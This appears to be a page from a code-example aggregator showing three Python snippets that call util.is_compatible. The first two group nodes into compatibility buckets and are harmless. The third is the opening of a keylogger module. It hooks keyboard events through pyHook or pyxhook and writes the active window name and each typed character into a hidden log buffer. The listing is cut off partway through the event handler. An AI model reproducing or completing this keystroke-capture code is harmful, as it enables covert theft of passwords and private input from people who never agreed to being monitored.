Esempio n. 1
0
def identify_buckets(node_name):
    all_elts = NODE_REGISTER[node_name]
    # remove the duplicate nodes
    elts = [e for e in all_elts if 'seen' not in e[4]]
    seen_elts = [e for e in all_elts if 'seen' in e[4]]
    first, *rest = elts
    first[4]['pattern'] = 0
    buckets = [first]
    for enode in rest:
        node0, tree0, executable0, inputfile0, _info0 = enode
        a0 = node0, inputfile0, tree0
        compatible = None
        for bi, bnode in enumerate(buckets):
            node1, tree1, executable1, inputfile1, _info1 = bnode
            a1 = node1, inputfile1, tree1
            result = util.is_compatible(a0, a1, executable0)
            if result:
                compatible = bi
                enode[4]['pattern'] = bi
                break
        if compatible is None:
            enode[4]['pattern'] = len(buckets)
            buckets.append(enode)

    for e in seen_elts:
        e_seen = e[4]['seen']
        e_seen_pattern = e_seen[4]['pattern']
        e[4]['pattern'] = e_seen_pattern
    return {i: i for i, b in enumerate(buckets)}
Esempio n. 2
0
def get_compatibility_pattern(xnode, sampled_nodes):
    node0, tree0, executable0, inputfile0, _info = xnode
    results = []
    a0 = node0, inputfile0, tree0
    for snode in sampled_nodes:
        nodeX, treeX, executableX, inputfileX, _info = snode
        aX = nodeX, inputfileX, treeX
        result = util.is_compatible(a0, aX, executable0)
        results.append(result)
    return ''.join(['1' if i else '0' for i in results])
Esempio n. 3
0
import cStringIO
import collections

# modules

import util

# globals

packages = ['pyHook', 'pythoncom'] if os.name == 'nt' else ['pyxhook']
platforms = ['win32', 'linux2', 'darwin']
window = None
max_size = 4000
log = cStringIO.StringIO()
results = Queue.Queue()
util.is_compatible(platforms, __name__)
util.imports(packages)


def _event(event):
    try:
        if event.WindowName != globals()['window']:
            globals()['window'] = event.WindowName
            globals()['log'].write("\n[{}]\n".format(window))
        if event.Ascii > 32 and event.Ascii < 127:
            globals()['log'].write(chr(event.Ascii))
        elif event.Ascii == 32:
            globals()['log'].write(' ')
        elif event.Ascii in (10, 13):
            globals()['log'].write('\n')
        elif event.Ascii == 8: